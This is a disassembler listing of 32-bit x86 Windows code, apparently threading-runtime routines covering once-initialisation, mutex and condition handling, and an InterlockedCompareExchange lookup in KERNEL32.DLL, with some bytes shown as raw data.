; ---------------------------------------------------------------------------


loc_430D8E:				; CODE XREF: sub_430C00+4Dj
					; sub_430C00+187j
		mov	[esi+0Ch], eax


loc_430D91:				; CODE XREF: sub_430C00+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D98:				; CODE XREF: sub_430C00+Aj
					; sub_430C00+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_430C00	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430E10	proc near		; CODE XREF: sub_430C00+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_430EAE
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_430E42
		or	eax, 0FFFFFFFFh


loc_430E2C:				; CODE XREF: sub_430E10+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 27603AFh
		test	eax, eax
		jnz	short loc_430E9C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E42:				; CODE XREF: sub_430E10+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_430E2C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E9C:				; CODE XREF: sub_430E10+2Aj
		cmp	eax, 102h
		jnz	short loc_430EAE
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430EAE:				; CODE XREF: sub_430E10+Bj
					; sub_430E10+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_430E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430F00	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_430FA0
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_430FA0
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_430F95
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_430F4A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jnz	short loc_430F4A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F4A:				; CODE XREF: sub_430F00+2Aj
					; sub_430F00+40j
		cmp	[esi+8], edi
		jnz	short loc_430F58
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_430F9A


loc_430F58:				; CODE XREF: sub_430F00+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		nop
		call	near ptr 27605F1h
		test	eax, eax
		jl	short loc_430F88
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F88
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_430F88:				; CODE XREF: sub_430F00+6Ej
					; sub_430F00+7Ej
		push	edi
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F95:				; CODE XREF: sub_430F00+1Ej
		mov	ebx, 16h


loc_430F9A:				; CODE XREF: sub_430F00+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430FA0:				; CODE XREF: sub_430F00+Aj
					; sub_430F00+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_430F00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430FE0	proc near		; CODE XREF: sub_40177Bj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_431065
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_431065
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431002
		push	esi
		call	sub_401C03
		add	esp, 4
		mov	edi, eax


loc_431002:				; CODE XREF: sub_430FE0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_431060
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431033
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43102B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43102B:				; CODE XREF: sub_430FE0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431033:				; CODE XREF: sub_430FE0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43105B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_43105B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43105B:				; CODE XREF: sub_430FE0+57j
					; sub_430FE0+6Dj
		mov	edi, 10h


loc_431060:				; CODE XREF: sub_430FE0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431065:				; CODE XREF: sub_430FE0+Aj
					; sub_430FE0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430FE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310A0:				; CODE XREF: ___:0040192Ej
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310D0:				; CODE XREF: ___:00401587j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018C0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431100:				; CODE XREF: ___:0040148Dj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43110C
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_43110C:				; CODE XREF: ___:00431106j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431120:				; CODE XREF: ___:00401BFEj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_431132
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431132:				; CODE XREF: ___:00431128j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_431155
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_431155
		call	sub_401CEE
; ---------------------------------------------------------------------------
		dd 0C3E89056h, 0E8023E0Ch, 0FFFD0B9Eh, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_431155:				; CODE XREF: ___:00431136j
					; ___:0043113Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43118E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43118E:				; CODE XREF: ___:00431184j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4311F6
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 27603AFh
		test	eax, eax
		jnz	short loc_4311E7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4311D6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4311D6:				; CODE XREF: ___:004311B6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311E7:				; CODE XREF: ___:004311A2j
		cmp	eax, 102h
		jz	short loc_4311FC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311F6:				; CODE XREF: ___:00431194j
		nop
		call	near ptr 2811E0Eh


loc_4311FC:				; CODE XREF: ___:004311ECj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431250:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C26
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43126B
		mov	eax, [esp+0]


loc_43126B:				; CODE XREF: ___:00431265j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431280	proc near		; CODE XREF: sub_401708j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		call	near ptr 27C0890h
		nop
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_50E3D0, eax
		nop
		call	near ptr 27D0000h
		test	eax, eax
		mov	dword_50E3EC, eax
		jnz	short loc_4312CD
		mov	eax, dword_50E3D0
		mov	dword_50E3EC, offset sub_4012D0
		push	eax
		nop
		call	near ptr 27406F0h
		mov	dword_50E3D0, 0


loc_4312CD:				; CODE XREF: sub_431280+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_431280	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431300	proc near		; CODE XREF: sub_40161Dj
		mov	eax, dword_50E3D4
		test	eax, eax
		jz	short loc_431350
		mov	eax, dword_50E3D8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h
		dd 50E3D80Dh, 4C48300h,	6A118Bh, 0F17AE852h, 0E8900230h
		dd 0FFFD02FBh, 50E3D0A1h, 74C08500h, 0E8905007h, 230F3A0h
; ---------------------------------------------------------------------------


loc_431350:				; CODE XREF: sub_431300+7j
		mov	eax, 1
		retn
sub_431300	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431380	proc near		; CODE XREF: sub_4017B2j
		mov	eax, 1
		retn
sub_431380	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4313A0	proc near		; CODE XREF: sub_4017C1j
		mov	eax, dword_50E3D4
		test	eax, eax
		jz	short loc_4313DB
		mov	eax, dword_50E3D8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah,	8BFFFD03h
		dd 50E3D80Dh, 4C48300h,	6A118Bh, 0D9E89052h
		db 0F0h, 30h, 2
; ---------------------------------------------------------------------------


loc_4313DB:				; CODE XREF: sub_4313A0+7j
		mov	eax, 1
		retn
sub_4313A0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431410:				; CODE XREF: ___:00402239j
		push	ecx
		push	esi
		push	offset dword_50E9A0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_50E3E0
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43144E


loc_43142C:				; CODE XREF: ___:0043144Cj
		test	esi, esi
		jnz	short loc_43144E
		lea	eax, [esp+4]
		push	eax
		call	sub_401604
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43142C


loc_43144E:				; CODE XREF: ___:0043142Aj
					; ___:0043142Ej
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431490	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4314A9
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4314A9
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_4314A9
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4314A9:				; CODE XREF: sub_431490+6j
					; sub_431490+Cj ...
		mov	eax, 1
		retn
sub_431490	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4314C0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_50E3D4
		test	eax, eax
		jz	short loc_4314CF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4314CF:				; CODE XREF: sub_4314C0+7j
		push	0
		push	offset dword_50E3D8
		mov	dword_50E3D4, 1
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jnz	short loc_4314FE
		push	eax
		push	offset dword_50E3DC
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jz	short loc_431503


loc_4314FE:				; CODE XREF: sub_4314C0+2Aj
		call	sub_40163B


loc_431503:				; CODE XREF: sub_4314C0+3Cj
		push	esi
		mov	esi, dword_50F85C
		push	offset dword_50E8E0
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E9A0
		call	esi
		push	offset dword_50E920
		call	esi
		push	offset dword_50E980
		call	esi
		push	offset dword_50E960
		call	esi
		mov	eax, dword_50E3D4
		pop	esi
		retn
sub_4314C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431560	proc near		; CODE XREF: sub_40163Bj
		mov	eax, dword_50E3D4
		test	eax, eax
		jz	locret_431619
		mov	eax, dword_50E3D8
		test	eax, eax
		jz	short loc_431589
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3D8, 0


loc_431589:				; CODE XREF: sub_431560+14j
		mov	eax, dword_50E3DC
		test	eax, eax
		jz	short loc_4315A5
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3DC, 0


loc_4315A5:				; CODE XREF: sub_431560+30j
		push	esi
		push	offset dword_50E8E0
		call	near ptr 7C901005h
		nop
		mov	eax, dword_44573C
		cmp	eax, 1
		jz	short loc_4315D3
		push	edi
		mov	edi, dword_50FAC4


loc_4315C2:				; CODE XREF: sub_431560+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4315C2
		pop	edi


loc_4315D3:				; CODE XREF: sub_431560+59j
		push	offset dword_50E8E0
		nop
		call	near ptr 7C9010EDh
		mov	esi, dword_50F858
		push	offset dword_50E960
		call	esi
		push	offset dword_50E980
		call	esi
		push	offset dword_50E920
		call	esi
		push	offset dword_50E9A0
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E8E0
		call	esi
		mov	dword_50E3D4, 0
		pop	esi

locret_431619:				; CODE XREF: sub_431560+7j
		retn
sub_431560	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431650:				; CODE XREF: ___:loc_401B95j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		nop
		call	near ptr 77C2C21Bh
		mov	eax, dword_50E3D8
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_436A5C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4316AC
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316AC:				; CODE XREF: ___:00431699j
		dec	eax
		jz	short loc_4316B5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316B5:				; CODE XREF: ___:004316ADj
		mov	esi, [edi+14h]


loc_4316B8:				; CODE XREF: ___:004316AAj
					; ___:004316B3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4316D7
		call	sub_4017C1
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4316D7:				; CODE XREF: ___:004316BCj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431730	proc near		; CODE XREF: sub_4017ADj

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_4317AA
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402225
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BBD
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_50F8D8
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_431788
		push	eax
		call	esi


loc_431788:				; CODE XREF: sub_431730+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_40222F
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_4317AA
		test	[esp+8Ch+var_8], 1
		jnz	short loc_4317AA
		push	eax
		call	esi


loc_4317AA:				; CODE XREF: sub_431730+11j
					; sub_431730+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_431730	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317F0	proc near		; CODE XREF: sub_401DC5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431811
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431811:				; CODE XREF: sub_4317F0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402225
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_431852
		push	esi
		call	sub_40222F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431852:				; CODE XREF: sub_4317F0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431877
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_431877:				; CODE XREF: sub_4317F0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4317F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4318C0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4318E7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_4318E7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_4318E7
		push	esi
		call	sub_40222F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 8


loc_4318E7:				; CODE XREF: sub_4318C0+7j
					; sub_4318C0+Ej ...
		pop	esi
		retn
sub_4318C0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431900	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_43196D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_43196D
		push	edi


loc_431915:				; CODE XREF: sub_431900+6Aj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_431968
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_431943
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431943
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_431943
		push	eax


loc_43193E:				; CODE XREF: ___:004319B7j
		call	edi	; free
		add	esp, 4


loc_431943:				; CODE XREF: sub_431900+27j
					; sub_431900+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_431968:				; CODE XREF: sub_431900+20j
		test	esi, esi
		jnz	short loc_431915
		pop	edi


loc_43196D:				; CODE XREF: sub_431900+8j
					; sub_431900+12j
		pop	esi
		pop	ebx
		retn
sub_431900	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431990	proc near		; CODE XREF: sub_401DD4j
		mov	eax, dword_50E3D8
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_431990	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F7B3918h], edx
		ja	short loc_43193E
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_4319C0+1


loc_4319C0:				; CODE XREF: ___:004319BEj
		jz	short loc_4319E5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_4319D2
		dec	eax
		jnz	short loc_4319D5
		or	esi, 0FFFFFFFFh
		jmp	short loc_4319D5
; ---------------------------------------------------------------------------


loc_4319D2:				; CODE XREF: ___:004319C8j
		mov	esi, [edi+14h]


loc_4319D5:				; CODE XREF: ___:004319CBj
					; ___:004319D0j
		call	sub_4017C1
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		pop	esi


loc_4319E5:				; CODE XREF: ___:loc_4319C0j
		push	1
		call	sub_401B0E
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431A20	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_431A20	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431A3F


loc_431A32:				; CODE XREF: ___:00431A3Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_431A32


loc_431A3F:				; CODE XREF: ___:00431A30j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: ___:00401DDEj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431A80	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_431A80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431AC0	proc near		; CODE XREF: sub_401C26j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 27702D6h
		push	eax
		nop
		call	near ptr 2740000h
		test	eax, eax
		jz	short loc_431B02
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_431AEC:				; CODE XREF: sub_431AC0+33j
		test	eax, edx
		jz	short loc_431AF1
		inc	ecx


loc_431AF1:				; CODE XREF: sub_431AC0+2Ej
		shl	eax, 1
		jnz	short loc_431AEC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_431B02:				; CODE XREF: sub_431AC0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_431AC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B30	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E980
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431B64
		push	esi
		push	ecx
		call	sub_401F73
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B64:				; CODE XREF: sub_431B30+17j
		test	eax, eax
		jnz	short loc_431B6D
		mov	esi, 16h


